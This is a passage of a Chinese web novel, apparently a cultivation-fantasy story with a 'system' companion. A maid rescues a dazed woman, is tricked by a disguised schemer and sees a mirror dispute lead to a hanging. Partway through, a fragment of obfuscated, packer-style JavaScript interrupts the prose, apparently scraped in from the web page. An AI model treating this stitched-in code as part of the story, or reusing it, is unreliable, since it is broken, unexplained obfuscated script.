如果我把她送到走失处去,说不定这世间悲剧就会少一桩。小姐在城主府查看过的卷宗上写,每年人口失踪案层出不穷,大多是妇女儿童,每一千人中就有五个下落不明,或是被变卖,或是因户籍挪动却无法报备再无踪迹…… 我蹲下来,看着小女孩:“姐姐带你去那边商铺好不好,那里有亲切的姨姨,会招待你喝甜水。” 小女孩不为所动。“……” 这孩子歪着头打量我。 她, ……看来是,只喜欢糖,是吧。 我继续:“你跟我走,我给你买糖。”好像我是个拐骗小孩的坏蛋。 唉,现在的孩子,一茬比一茬精…… 小女孩听见我这么说,立马把两根糖攥在一只手里,空出手对我伸来: “宁宁。” 我牵着她,她手有点凉。……出门,穿少了吗? 走失处也未必有毯子给她。 “宁宁停一停。”我拉一拉她,示意她看路边卖领巾的摊位。 现在正是秋日,是卖这些东西的时候。 民间领巾大多采用棉麻,富贵人家可用毛皮,官宦人家才用得起锦缎。摊位上的大多是棉麻材质,样式并不精美,胜在朴实。 我轻声:“宁宁手凉凉的,身体有点冷吧,买一条领巾带上,下次出门多穿点。” 小女孩……好像不怎么情愿?我不觉得她是不好意思,她是心心念念她的糖。 一阵秋风吹过,我眼见她发抖,打了个喷嚏。 这回她老实了,瞥我一眼,指向一条深灰色裘皮领巾,“要这个。” 她眼光独到,也够怪。 小孩都喜欢亮色,那种染的蓝黄红粉,比这种一看就是灰扑扑好看得多。但这种深色百搭,所以卖得还蛮多。 我付钱买了领巾,想给她围上。 嗯,下意识习惯。有仆人的孩子这个年纪多半不太会穿衣服,她不要棉麻,估计是看不上,家里也不缺仆人,穷人的命很好买卖,甚至有人身家不过这一条领巾。 “我自己会系!”她急急忙忙别开和我对视的眼睛,把领巾从我手中抽走,两只手像模像样打结,竟然真的……系对了! “……”这一刻我的确有点困惑。 但她确实好受许多,大人用的领巾她可以做披肩,一围上身体也不抖了,继续吃她的糖。 也不知道这孩子到底是怎么走丢的。 我买了一大把糖。用纸包起来,递给她。 这孩子在这方面是真的精明,把糖往自己怀里一揣,生怕也遇上像她这样明抢的。 这回她总该乖乖跟我走了吧。 我拉着她往走失处那边挪。谁知她突然停住,有事似的,欲言又止。 我心有灵犀:“是不是要解手?” 小孩子基本上就这些事,饿了渴了哭了困了上厕所,一玩起来冷热不知,只有上厕所还能勉强记得。 “不是。还不能……还不能去走失处。”她摇头, “有个大姐姐也走失了,还帮我买糖吃,她好可怜啊,姐姐帮帮她吧!” 感情她知道自己走失了? ……大人,还会走失?从这孩子对我称呼能看出来,那人肯定比我大。 原来这孩子盯人别有目的。 我纳闷:“这里这么多人,你为何只找上我?” 她自豪叉腰:“哎嘿,这里这么多人,可是姐姐你最好看!我在这盯着有一会了!” 这看脸的小孩。我……我小时候也偏好好看的姐姐。 “大人……会走失?你怎么判定那个姐姐走失了?” “她说不出回家的路!就和我一样!” 不是,你这有什么可骄傲的。 不过。 ……神志失常的,女子吗? 一个没有自主能力的女子孤身在外,好危险。 “走,我们去帮帮她。” 我被她带着走了。 【宿主,看来有必要给你普及安全意识。】系统义正言辞地提醒。 「我知道,你是想说她有可能是坏人的‘饵’,专门找涉世不深的女孩子骗过去拐卖。这种事每年城中没少报告过,小姐看卷宗的时候我也看,知道有。我留了后手,放心好了。」 路越走越熟悉。 远远看见小女孩带我去的客栈正是云间月选中那间。 我顿时有种微妙预感。 “那个姐姐不见了!我明明告诉过她在大堂等的!”小女孩在客栈门口扫视一圈立刻尖叫起来。 “别慌,别慌。”我怕她哭,赶紧先安抚她。 小女孩就要哭了,嘴巴扁起来——她硬生生忍住了! “我给你问问!”她丢下这句话,跑进客栈里。 她问人目标相当明确,只找和女伴在一起的女子。她像一只小蝴蝶在人堆中飞来飞去,然后向我飞回来。 “快走!那边几个姐姐看见她被一个褐衣人带去前面的巷子里了!”她拉着我的手飞奔起来。 这孩子……是真不怕生。我跟着她脚步,跑进一条小巷。 头顶阴天,小巷黑得伸手不见五指。隐约能看见两团影子正在往里面越走越深。 一团和黑暗融为一体,另一团要比黑色人影高些,是白的。 “大姐姐!!!!”小女孩一声狮吼,穿透力极强。 我一点不怀疑她会武功。小孩都有这种独门绝技,能连着哭一个时辰,尖叫如同魔音贯耳。 她都出声了,我抢在她前面追上去,手搭在白衣女子肩上,把她按住,让她站到我身后,拦在她面前。白衣女子确实是不怎么清醒,对我突然拉住她没有任何反感,换作平常女子要一巴掌拍掉我的手。 我暗叹,这样的事真叫人开心不起来。 只能看见她穿一身白衣裳,根本看不清脸,更看不清她哪里受伤没有。 我与褐衣人对峙:“你要带她去哪?” “桀桀桀,当然是要……”褐衣人对我发出迷之笑声。 啊?真有人这么笑?我明显一顿。 我……我还以为这是话本里的夸张描写呢。 嘶……我以为带走女子的定然是个男子,没想到也是女子。 “……”但她做得不怎么像,其实。 因为,她并不油腻。没有骚扰我家小姐那些登徒子十分之一神韵。 “咳。”我清清嗓子,把声音变得低沉,刻意拿腔作调:“宝贝儿~这个女人是我的,看来……我们只能打一架了!” 说时迟那时快!我举起我的独门武器——白练,柔软布料拧成一束刺向褐衣人。 我暂时没想伤她。 在和云间月打过一架之后,我发现在白练中注入能量,它可凝结成任意形状,没有我能量多的人即便用剑也斩不断它,反之,我可以把它作剑来用,而且不用背着武器那么沉的东西。 它既是剑也是链条。进可攻退可守。 铛!的一声。 褐衣人抽出把黑不溜秋的东西来挡我。 我实在看不清她拿着什么,总归是把武器, 那把东西在击中我时会发光!幽幽蓝紫色光! 我这才看清楚,她拿着一把形状古怪的剑,造型像极了……给孩子用的玩具,而且她的招式也怪怪的,就像看多了武打剧照猫画虎学来,连蹩脚功夫都难以算得上, 可是光打中我时很疼。我听说,有极其厉害的人族,在未抵达仙的境界时,也能使出带有光芒的攻击,就是说已经快神功大成,能够运用能量来攻击。 如果真是这样,可是她的功夫为什么这么蹩脚啊! “你到底是什么东西??!”我干脆收起我的白练,直接上拳脚,一掌上挑击中她胳膊肘,她拿着的剑直冒蓝紫光束飞出去,又闪烁着蓝紫光对我劈头盖脸砸下,我立刻抽身躲开,却见—— 那个褐衣人还呆呆傻傻站在原地?!就算是自己的武器也没有免伤吧!除非武器催生出灵智!但那只是个传闻啊!是只属于云间月的现实! 我重新冲回去,借着光芒一掌劈飞那把剑,我以为剑会倒飞出去,砰!!!剑……剑在我面前,竟然有自己的想法,我一碰它它自己原地旋转两周,剑尖像是有魔力般溶解了地面,它笔直地,向下刺入地面,同时…… 以这把剑为圆心,一场势不可挡的小型爆炸悄然生成,蓝紫色波纹向四周震荡扩散,我在爆炸升起同时原地跃起,竭尽所能放出两道结界包裹住爆炸余波,跳起又落下,落脚点一片烟雾蒸腾。 但……来不及了。 施放结界影响我对于其它法术的运算,我已经……没有多余心力来计算落脚点,更做不到再使用法术避开。 “……”算了。耳边炸响朦朦胧胧之际,我想。 下次出门……得带点上等灵石疗伤,我得……得有门路赚钱才行。要是回去拜托会清露帮我治,搞不好……要被她发现……我是……邪……修【宿宿宿主!快醒醒!292辅助您识海进行运算!您已经安全落地了!快,对被你救美的人摆个造型!】 「!」脑海中忽然一片清明,无论如何也赶不上,做不到的运算,如有神助,奇迹般被完成,我的身体自己寻找落脚点, 此刻,正站在那把插入地面的剑,剑柄之上。 夜风飒飒,吹散头顶遮盖月光乌云。我的影子,被月光拉长,静静投射在地面,落在那惊愕立在结界之外,毫发无伤的三人面前。 我捋了捋我随风飘扬的半长不短头发。 这头发现在只能扎个炸毛低马尾,长的长短的短,让我看起来像个模仿小狮子的向日葵。 已经脱离滑稽可笑,变得有趣起来。 我模仿那些假装风流倜傥实则油腻到滴油的登徒子,故作姿态伸出一臂,优雅抹平我还在随着余波翻飞不止的衣襟,一手背在身后,颔首俯视众生。 嗯。众生平等。我很好。 三人都是同一副表情,嘴巴微微张开,目瞪口呆望着我。 我从剑柄跳下,把剑拔出来。这剑似乎比我的白练还要轻,简直不可思议。这会也不发光了,我把剑塞进褐衣人手里。 “拿好,下次小心。推荐你去主修炼器的门派学徒那里买把剑,学徒出品便宜好用,坏了不心疼。你这把不太稳定,爆炸容易误伤。这样交不到朋友的,只会交到敌人。” 我说得绝对是大实话。要是门派大比拿着这把剑进行团队战,一场战斗后等队友被祭天回来都得化身死敌痛扁当事人不可。也不知道是哪个不负责任人打的瑕疵品剑,没做好就拿出来卖,这不是害人么? 「你这么厉害?」我一边严肃把剑往褐衣人手里塞一边问系统。 褐衣人竟然跟我客套上,“不,不用,还是你拿着……吧。你看起来比我更会驾驭这把剑,我本来就不会用。送,送你了!” 说完,她把剑往我怀里一推,调头转身, 她一溜烟跑了。暗色身影不一会就隐匿在阴影中消失不见。 系统的话让我回神:【嘿嘿……好久不做啦。系统能够破解每个世界的能量构成,方便协助宿主完成不可能完成的任务。刚刚短暂接管了一下宿主身体,宿主的身体真不错,能跳起好高呢!】 我莫名其妙接过这把剑。 「所以这东西会爆炸是怎么回事?」 我有种直觉,系统比我对它了解更深。 【简单来说就是——宿主,你在触碰瞬间无意识传输太多能量,和光剑充能需要的能量规格不兼容,也有它不该出现在这里的原因,世界有点排斥它?科技社会类似武器需要出厂检验,它一定也有。只要好好用,它是把很好的武器,不会轻易发生爆炸。】 果然知道啊,系统。 「292,我问你,这东西……是我这个时代该有的吗?」 【……好像不是。这东西属于科技范畴。如果你们的世界没有这种曾经有过宇宙文明后来毁灭,过去的遗迹随机散落宇宙,到现在还有能源可以激活使用的背景设定。那绝对是真的不该有。】 我伸手在小女孩和白衣女子面前晃了晃,两人同一时间回神, “啊啊啊啊啊!姐姐!想不到你是杂耍演员!”小女孩发出爆鸣。 我没有否认。不然,我解释不清啊。孩子这点也很好,不理解的东西会自己找补,而不是像大人一样自诩聪明非得搞明白原理才能突显自己长了脑子。 白衣女子盯着我看。她和这小女孩一模一样,直勾勾,一眨不眨盯着我……手里的怪剑。 人迷迷怔怔的,心性就和孩子一般。 我觉得好玩想逗逗她,把剑递给她。 这把剑,剑身是光滑柱体,没有剑刃,因此给孩子用相当安全,前提是能够在这个时代找到供销商。刚才爆炸这一下它已经没有能量了。 不想,白衣女子竟然扑过来抱我的手,完全……无法交流。 我艰难地问小女孩:“这个姐姐……一开始就,这样么?” “嗯嗯!”她头点得飞快,很开心地对我笑,“太好了,大姐姐喜欢你!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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我只能牵狗绳一样和她一个人拉住剑柄,一个人拉着剑尾,我牵一步,她走一步。 就这样,慢慢走出小巷子。 「真的假的?云间月认识她?」 【稍等。破解出来啦。哼哼!】 系统啧啧有声叹息: 【啧啧,身份不明。女主上一世遇见的大美人,痴痴傻傻,不食人间烟火。这次没有遇见……是因为出发晚,原本大美人就在客栈中被人刁难,女主上去解围,保护大美人还让她去自己门派,帮她找亲人。但是没多久大美人自己离开了。女主不是性子多热的人,从此再没遇见过。】 嗯,我也喂了十几天狗吧。再领个人回去, 多喂一个也不多。当然,这只是自我安慰。 「系统,我发现我有点缺乏实战经验,你有什么办法么?」 不光是缺实战经验,还缺钱。我得找工作赚灵石,总依靠小姐那就太过分了。 【没关系,不成问题。统可以随机生成宿主能够理解的模拟对战,用来增加战斗经验,只要消耗能量即可。很推荐宿主试试。】 还有这种好事?! ……算是因祸得福?用捡人回来让我意识到自己欠缺什么。 我很大概率是,捡了个烫手山芋。能在云间月身边待着还身份成谜的人…… 就云间月那体质,大美人要真是普通人岂不是早被雷劈成灰。 哎呀。烫手山芋呢。 · “呸!”小女孩——艾宁宁把糖吐出来。 “好耶!怪剑离手!用不惯的怪东西,不如机械人偶好用。怎样,笑声是不是学得很像,听说那些反派都是这么笑。”褐衣人有些奇怪,问,“你怎么脸色这么差?” “可算把这傻子送走了,惹祸上身。我这辈子还没吃过别人吃剩的东西,为了成事下血本,那女的确实很好看,如果是男的我一定杀了他,杀了他!啊啊啊我要洗洗我的嘴巴!!!” 艾宁宁飞身穿过城中人潮,直奔一家酒楼而去, “雅间!来五坛最好的酒!”把钱拍在柜台上。 “那你为什么非要这样做啊!而且……你不觉得她很帅气……吗?”一旁的褐衣人发问。 “你觉得她帅气……”艾宁宁哼一声,“也是啦。我们这些人用不了这里的法术,跳那么高落下来还能稳住是很帅,我还以为她会摔惨呢。我为什么会拿走她的糖……因为这样她就不会第一时间怀疑我不是小孩子。” “不,一般都不会怀疑的!别把人想得那么坏行不行?!” “那可不一定。”艾宁宁严肃地说。“有件事。” “什么?”褐衣人奇怪,“这么严肃做什么?” “你吃不吃糖?” “糖?你有?那行。” 艾宁宁从怀中摸出一把糖来,褐衣人人刚要往嘴里放,她忽然扑过去夺走,对方咬了个空。 “好你个艾宁宁,耍我是吧!就知道你没安好心?” “没有。”她漫不经心把糖放下。“是这糖太甜,吃完牙痛。” “你牙还没长好?之前预言出错让会长打了,找个会治疗法术的,能长出来。这个世界的魔法可厉害了。” “嗯。办完眼前的事再说。接下来是——白昳之死。只有她死,世界……” “世界才会平稳且长久地运转下去。如果她不死,这个世界至少提前五万年毁灭。”褐衣人见艾宁宁已经在抱着酒坛喝酒,忍不住说,“少喝点吧,小心酒精中毒。” “怕什么,我可是解决一桩麻烦事,你预言今天会有人带走傻子,现在事件完美解决。虽然晚了点,不耽误我庆祝,来,干杯!” 褐衣人不得不象征性喝一杯:“嗯。我家兄长最近好像很忙,成天不见人,他追着焰蛇家二子的遗孀转圈是他不知廉耻,脑子好像也不在了,天天说以后要去神界,害得工作凭白多了好多,全部推给我。所以我只能喝这一杯,还要回去忙工作。” “是吗?”艾宁宁这会慢悠悠喝空一坛酒。 “可恶。不知道我母亲为什么要丢弃刚出生的二弟,还把他丢在那么荒凉的深山中,想也知道过不了多久就会死。要是再多一个小孩,还能替我们分担工作。可恶……” 抱怨随着喝下的酒涌出,似乎意识到这么抱怨不妥,“对了,会长说要抓那个名叫叁笙的,抓住了么?这人突然冒出来,和我们的预言完全相反,会长脾气本就不好,这下更糟了,要不也不会打掉你的牙。” “没有,那人特别滑,我们布下天罗地网她都能躲,不过是个没手没脚的残缺儿,要我说……她是有真本事在身上,会长与其这么抓她,不如招揽过来好好谈谈。” “可是会长……最近脾气越来越坏,这话没人敢说,不好,已经这个时间,我得走了!最近还有传闻我家过去那宅子闹鬼,小姨走后这些事全落在我和兄长头上,兄长那德行……艾宁宁,你自己多保重,白昳这事很危险,她最后自爆你一定要躲开,我不想再失去更多同僚了。” “嗯。一定。”艾宁宁有一搭没一搭喝她的酒,见褐衣人要走了,招呼: “走好啊,扶疏。” 扶疏走了。 艾宁宁趴在窗前,看在乌云间半隐半现的月亮。自斟自饮,一杯又一杯,喝她的酒。 她停下来,手很稳,完全没醉,慢条斯理拔掉糖上的纸,一颗一颗,连着棍扔进酒坛。 咚。 酒水溅到前襟。 她瞥一眼。肩上还披着那条领巾。 再斟一杯吧。 月亮一会出现,一会隐藏,年纪与外貌相差十万八千里的小女孩,继续喝加了糖的酒水。目光挪到楼下街边时,凛冽起来。 本就是阴天,这会已经在下小雨。 秋日的雨越下越冷,路边行人渐渐减少,连绵的雨中,一团小小亮光,坚定地闪耀,照亮旁边的女孩子。 女孩子在路旁茶摊喝茶,桌边摆着一把闭合的红油纸伞。她注意到艾宁宁目光,向这边看过来。两人对视。 艾宁宁似笑非笑, “是你呀,段家的,不是在执法队待着,怎么到这来了。”把这句话送到女孩子耳边。 “放心,只是路过来看看,听说这附近是和妈妈曾经的家,她家人虽然犯下大错被围剿处死,仍旧是我的祖辈,来看一眼,我很快就会离开。”也有一句话从那边传回。 “这几天是鬼节,你另一个双亲家里都是修仙的,去不成神界死了也是鬼修,那些祖上就没回来看看?” “没有。从不曾回来过。” 女孩子撑开桌边的伞,再不看向这边。 艾宁宁嗤笑一声,继续喝自己的酒。 这人,雨天撑伞看烛火, 怪人一个。 “既然遇见,也是难得。你之前的书……” 艾宁宁猛地看过去,语气不善:“我写的书怎么了?” “关于你讲的故事,我是有疑惑,但……是不是少一个人的期刊,你的那个同僚呢?” 艾宁宁:“你说‘乐不思蜀’?这几年她经常和我一起写期刊……那家伙是很火,不过是个超级自恋狂,明明是后来的天天临水照花自我欣赏,虽然书粉确实遍布五界……但最近这阵子不清楚,人没消息。快一个月了,完全联络不上她。说到这里,你们能不能帮找找人?” 女孩子正襟危坐:“只得知笔名不算失踪人口。别说是在书信往来中存在的人,就算是在现实中有人失踪,我们找到后才发现那个人是有事离开,根本不是失踪,费时又费力,这样的事不止一次。” 艾宁宁有点烦躁:“我们东家也联络不上她,这个月要截稿才发现她音讯全无,少东家正好有事在这附近,没办法只能我临时赶稿子出来交给少东家顶她版面,而且我们都是匿名投稿,不认识真人,少东家正在考虑要不要发布寻人令。但是这样很不礼貌,少东家说先压几个月消息,压不住了再找人,就算真迫于压力发寻人令我们也不占理。你说得有道理,也许过一阵她会自己回来。好了,”她语气变得危险,“现在我们来谈谈,你对我的故事有什么意见?” 22.被改变的事 我牵着大美人回了客栈。 我怎么都得去找我家小姐,告诉她我捡了个大麻烦回来,刚走到客栈门口,屋里一片喧闹传来。 大堂里聚集起很多人,嗡嗡嗡,听起来是有人在吵架,旁边围着的在看热闹。 我悄悄,牵着大美人从包围圈背后绕过人群。失败了。 每当我们走过一处,相当受瞩目,一个又一个人回过头来看我们, 让我有说句,‘诸位爱卿平身——’的冲动。 我知道人们在看大美人。 我很像是那些不怀好意诱拐的坏蛋。 我拉着她淡定走过人群不知何时让出的通道,直通包围圈中心。 我家小姐在这。她面前还有两个人。 一黄一红,二十来岁女性。是普通人,并非修士。 两人看起来已经打过架,身上都挂了彩,现在是打架后的中场休息外加吵架时间。 黄衣服气喘吁吁:“我让你帮我带个东西回去,东西在路上不见了,不是你弄丢的,那就是你侵吞了它。” 红衣服也在喘气:“它真的自己不见了。” 原本我家小姐在旁观,她有点苦恼吧,我能猜出这情况怎么回事。有人打架,需要帮助,一定是任务牌亮了,云间月不想管这事,会清露那性子压不住,于是距离最近的我家小姐不得不接任务,过来查看情况。 但别人打架她无权干涉,她平时也不喜欢掺合这种事。 说到底帮别人忙本身就很多管闲事,更何况还是一对打架又吵架的人。 红黄二人看起来关系很好,对彼此充满了解,吵架有来有回,小时候干坏事推给彼此啦,把自己的不及格考卷藏到对方书袋里啦,所以我家小姐只能在这看,还没找到解决办法。 然后我牵着大美人华丽登场。 现在,我家小姐,盯着我看。 她先看我牵着大美人的手。发现我们之间有把怪剑连接,再看大美人的脸,顿时惊为天人。 她直接就呆住了,呆呆看看我。我对她点点头。 我懂,看见仙人一样的大美人,会让人产生一种不似在人间的错位感。 好了,现在我家小姐看起来一点不想处理纠纷,她更想问问我这是怎么回事,但情况不允许。 一道闪电划破天际。 我家小姐终于开口:“你们不要打了。” 她真是深谙拉架精髓。人打得正上头时不能上去,得在双方力竭,快结束时才能这么说。 “你是谁?”两个人异口同声,都不太想要别人插手。 我家小姐举起发亮的任务牌:“我在考试中。当这块牌子亮起,说明你们需要帮助。虽然你们现在看起来很排斥外人插手,但是你们心里都在想,‘来个人帮帮我吧!’于是这块牌子擅自接下你们的委托。如果你们真的不需要无偿帮助,对它说一声就行,它会把委托作废。” “……”红黄二人你看我我看你,这次,没有人再说不。 “好吧。”黄衣服妥协,但是有所顾忌,问:“你们是不是还要留档案记录,我们能不能不报上姓名?” “可以,支持匿名委托。” 黄衣服放心了,伸出大拇指一指红衣服:“我们是发小,从小玩到大的,不是这里本地人,做生意途经这。我母亲生辰将近,我抽不开身,托她将礼物带回去,结果她传信说东西在路上不见,于是我急忙赶来见面,就是现在这样,我们在吵架。你既然说要帮忙,可有什么好办法?” 小姐很认真解决问题:“是否考虑过更换礼物,或者你们方便说说到底是什么丢了,怎么回事?” 黄衣服看红衣服。 红衣服梗脖子:“反正就是丢了,再怎么问还是这句话。” “……”黄衣服估计是吵累了,直说,“那是一面镜子,做工尚可,传说是某个神君的遗物,能通过镜子看见人内心所想,世间独一无二,想来再找不到一样的。” 神君的……遗物吗? 这东西确实有,传说神君行走世间时使用过一些物品,被神君触碰过的东西会附带思绪,所以来自神君的东西落入凡间后,被世人追逐,五界中不乏相信这些说法的人。我对此保持怀疑,直到下一刻。 系统说:【是很玄乎,但按照当前世界观此说法为真。思绪是能量,神君是世间最强大的存在,也许不是所有神君都会泄漏能量出来,如果自身思绪很多,泄漏往往是无意识行为。】 我不动声色把怀疑咽进肚子。忘了,我这世界很玄幻。 【神君也算天道加身,有气运在身上,泄漏也不会造成太严重的能量损耗,因此自身不会有所察觉……宿主,宿主你怎么了?!】 我……我不知道。在系统说出某个词之后,我的意识忽然模糊起来,陷入一种世事如浮云的迟缓状态。好像所有事都不再重要,我飘飘忽忽,即将…… 【宿主!!】 系统急得一声吼,蹦了四个眼睛出来,接着是八个……一排黑豆豆眼睛在小圆球上眨啊眨,被称作精神值的东西悄然下降。 我吓醒了。 系统还是两个眼睛。 真好。 「我不对劲。」我说。 【宿主还好吧。莫慌,统这就去周围转一圈,这里人这么多,没准有谁知道宿主是什么情况。】系统刷一下闪出去。 我家小姐破案神速,这会已经问出红衣服到底做了什么。 红衣服说她把镜子给了城中一户姓齐的人家,这家夫人和她相识。 小姐建议黄衣服如果着急先换个礼物,黄衣服不同意,那只能去齐家走一趟。 ……总觉得红衣服隐瞒了什么。其实我家小姐的建议很好,红衣服看起来有话没说。尽管如此,她还是给我们带路。 出来时,外面下雨了。 好在齐家离得不远,就在客栈背街,走几步路绕过去就是。 院子大门比一般人家要气派,远远看见上面贴着纸。 红衣服嘀咕:“我之前来时没有啊。” 走近了认出门上贴得是丧报,写着齐老夫人病故,今天是葬礼第三日。 红衣服敲门。 门后出来个年纪不大的门童,一看红衣服认识,张嘴要打招呼,红衣服摆摆手,低声问:“夫人睡下了吗?” 门童看见红衣服后面跟着的人,说:“这几天事忙,夫人刚通知了锁门,应该还没入睡,哎呀……大人,还请您先带着人进来,没有让客人雨中在门外等的道理。” 雨夜风很冷。 我们进入院内。 齐家院子比一般人家要大许多,一进门最显眼的是灵堂。灵堂中没有棺椁,逝者已经下葬。我想……去世的是老夫人,齐家看着不缺钱,应该会请人哭丧送葬才对。第三日遗体下葬,是送葬队伍已经离开了吗? 我们在待客厅等候,红衣服去灵堂前拜了拜,这会功夫,有中年妇人上来给我们端茶。 等红衣服回来,从待客厅后方出现一位三十岁左右女子。 夜半到访,女子只匆匆挽着发髻就出来迎客,行了个礼:“妾身名为齐施然,和老爷同姓,听家人说今夜来访皆为女客,不便差人叫老爷过来,礼数不周,还望见谅。” 本就是突兀来访,这会没人计较这个。 红衣服语言组织力极强,三言两语讲完前因后果。 “镜子?”齐施然没什么尴尬神情,略一想:“几天前放在老夫人那,现在应该在老爷那里。夜深了,老爷已经睡下,这几天忙乱,妾身怕惊扰,和老爷分房睡,家人多是小童和妇人,差她们去叫恐怕老爷要生气,妾身去去就回。” 她像来时一样婷婷袅袅地走了。 我这会还牵着大美人。我总不能把她再丢在客栈。 大美人好像对茶水很感兴趣,看着像是想喝,可是……她不碰茶杯。 她看看冒热气的茶,再看我。眼中的渴求溢于言表。 我……可能是她被雨雾氤氲得湿漉漉,我脑子一抽,下意识端起茶杯捧着——不对,是喂给她喝。 这是女仆的习惯。给人当仆人,总会遇见要照顾小孩子这种情况。大美人就和几岁小孩差不多。 但是大美人并没有触碰到茶杯,她以一种高难度动作喝完茶,然后整个人困了,缩成一团打瞌睡。 她本身不算矮,二十岁出头,行为举止偏偏和孩童一般无二。 我家小姐在看我。不愧是她,这么好看一个人她和看不见似的,只看我。 我想对她笑笑,忽然,后面传来一阵惊恐尖叫。 “夫人晕过去了?!”有脚步声往后面去,再然后“啊——!!!!”又是一声凄厉尖叫。 给打瞌睡的大美人吓得一惊,眼睛睁开,茫然四顾。 出事了!? 这回我们向后面屋子跑。 几个中年妇人瘫坐在地,还有一个战战兢兢不敢上前,用手指着屋内说不出话来,屋子门口露出一双脚一截裙摆。 是齐施然的。 她怎么了? 没等我家小姐上前,红衣服已经过去,黄衣服颇为默契一起上前,两人把倒在地上的齐施然扶起来,红衣服往屋里看,脚步一顿,若无其事地……架着齐施然往外走。 我家小姐取出一颗丹药给齐施然闻了闻,她悠悠转醒。 “叫……”她声若蚊蝇,“叫……衙府来……” “呵,我表外甥上吊死啦。”红衣服摇摇头,“随我表姐去了。活着时黏在一起,如今表姐病故,这是他的选择,你我不便说什么,施然……节哀顺变。” 从敞开的门中隐约可见,室内有高大人影吊着,随着从门口吹入的风轻微晃动,周围有东西散落在地。 “镜子……”齐施然迷迷怔怔起来,重新就要往屋里走, 红衣服拽住她:“不要进去,算了。我说这事算了,喏?”说着看黄衣服。 黄衣服也摇摇头:“算了,算了。” “不行……”齐施然自己站了起来。 她语气坚决:“只是……遗体罢了,老夫人的……不是没见过……当时,也是我发现,老夫人支开了人,口吐白沫倒在地上,心脏病发……” 唔,这句话有点口音。原来齐施然不是这附近的人,可能是远嫁过来的? 我们看着她跌跌撞撞走进屋里去,因为没有亮光,还在遗体附近绊了一下,摸索着爬起来,在柜中翻出匣子,退着出来,关上门。 黄衣服接过匣子,看来,她的确得重新换个礼物。 我家小姐的任务牌不再亮起,任务已经达成,委托人……应该还算满意? 黄衣服对我家小姐道谢,她甚至都没打开匣子看看,也没在这里质问询问什么。 我家小姐道了别,她带着我,我带着大美人,一个拖一个离开齐家。 奇怪,我脑海中,一直这么安静的吗? 【……怎么可能啊,宿主。】 系统回来了。听起来有心事,有气无力。 【宿主,刚刚你见过的那个小女孩,正在远处和一个红伞少女打架,小女孩占上风,看着不怎么想打,倒是想教育人,所以……听了一嘴她们谈话。】 「辛苦了,等会把看到的传给我。」 路上,我给小姐解释大美人是怎么来到这。 小姐说:“我知道,灵佑不是那种登徒子。” 我僵住,悲:“万一,万一我是呢?” “不会的。”小姐给予我百分之一百二十信任。 我一阵心虚, 因为最近……我一直在做奇怪的梦,这种梦再放任倾向下去,她也快到我梦里来了。 小姐走在我身前,步伐坚定:“灵佑,我尊重你的决定,你该有自己的人生,而不是……永远和我绑在一起。” 可是我觉得那样很好啊!下意识就要脱口而出,我硬生生忍住。 这句话到底没说出口。 小姐她……她会拥有和我截然不同的人生。她喜欢男孩子,以后……要和对的人结婚的。她也会像齐施然一样自称妾身。而……不再是,“我”了。 她一定会幸福。我要全力以赴帮助她夺回感受幸福的资格。 然后,然后。 其实在梦里梦见她,也挺, 挺好的。 在她离开我前。在我不能再梦见她前。不论是她拥有自己的家庭,还是另一种她知道真相一定会讨厌我的人生,我都没有资格再梦见她。 我把想说的话憋回肚子里,赌气般开口: “那就算我说要亲亲小姐呢。” 我在说什么? “好啊,”我家小姐停下,转身。头顶飘摇细雨,对我敞开怀抱,“来。” 我理智的弦断掉——不行!这个,不能断! 我本来……本来想亲她嘴唇,最后,像往常一样,用我的脸颊,去贴贴她的脸。 要是被她知道我确实对女孩子有那些想法,也许她不一定会觉得奇怪恶心,但是……我绝对不会教她知道。 我们在雨中拥抱。脸贴着脸。 这些都是寻常事,我们穿过同一件衣服,睡同一个被窝,都被我娘喂着长大。 她只当我今天也和她一样心情不好,她以为——“是我不对。我今天,今天有些失控,一定是影响到灵佑,让你也不开心。”耳语声声。 吹进我心里。 “才没有呢!”我替她争辩,“没有就是没有。” “好好好。”玉燃兮对我笑。 见鬼。细细密密雨中,轻柔微笑的她。好像是——眼里只有我的。 是我眼中雨水带来的错觉。 往常这样我绝对会哭着撒娇,今天不会。绝对不会让我的情绪影响考试。 “那,灵佑要带她去哪里?可要再开一间房?”小姐耐心问我。 “不了,她吃饭休息可能也需要多看顾,我带她去我房间,不能影响小姐休息。” 眼看走回客栈,我催着小姐:“好好休息,晚安。” 小姐恋恋不舍勾着我。哈哈,她经常这样,我也这样逗她玩,其实只是我们都不太想睡,可是今天不行。 “早、点、休、息。”我眯眼。 小姐轻笑一声,关上房间门。 我牵着大美人进了自己房间。怎么说呢,她太圣洁,让人完全没有想对她做什么的感觉,给人一种如果有人要对她做什么,那那个人一定是全世界最奇怪,最天理难容之人的压力感。 我决定为她更衣休息。 雨下得像雾一样,这点潮湿气把衣服挂一阵就会干,像是小姐这种开始修行的人,使点小法术完全可以不被浸湿,为了掩盖我是邪修,我没用法术,衣服摸着凉凉的。 得先给大美人更衣才行,有的孩子换衣服也会很不配合,闹出一身汗来。 我想先脱下她的衣袖,手摸上去, 干……干的? 并没有水渍。 大美人从刚刚起就有点困,她平时想来作息规律,像老年人一样习惯早睡,我给她脱掉外衣,她很配合,就像知道做完这件事下一步就是入睡,我三两下换好自己衣服,请她睡床里面,她配合地…… 躺在床榻正中。 我哑然失笑。 拍一拍她手臂:“美人儿,今天不行啦。你在正中间,我就要睡地板,里面还有空位,你往里去点?” 她茫然看我,也不说话,她——用和脸全然不符的姿势蹭到里面,闭上眼睛,准备入睡。 我躺在她旁边,闻到一股好闻的凛冽清香,像一场雪落在松树间,清凉清新涌到鼻尖。 心神宁静。 我从系统那接过它看见的画面。 它的视角类似于我感受天地万物能量时看见的,每个存在都是一团能量。 我看见一黑一白两道影子纠缠在一起,白影占上风,根本是在溜着黑影玩。 系统解释:【黑影的那个女孩子撑着一把红伞,名叫花逝,是执法队成员,非常痛恨邪修,上一世因为介入齐家的事发现云间月是邪修这个秘密之后,一直追杀她,暂时还不知道怎么下线。】 又是一个反派。 「齐家这事……会扯上执法队?」我迟疑。 【上一世云间月知道有这么件事,她没管。于是这件事后面不知怎么惊动了执法队,是很复杂的案件。】 「……」应该,不会牵扯到我家小姐什么,她任务已经做完了。 执法队一出,意味着案件和修士有关,齐家的事可能真的很复杂。 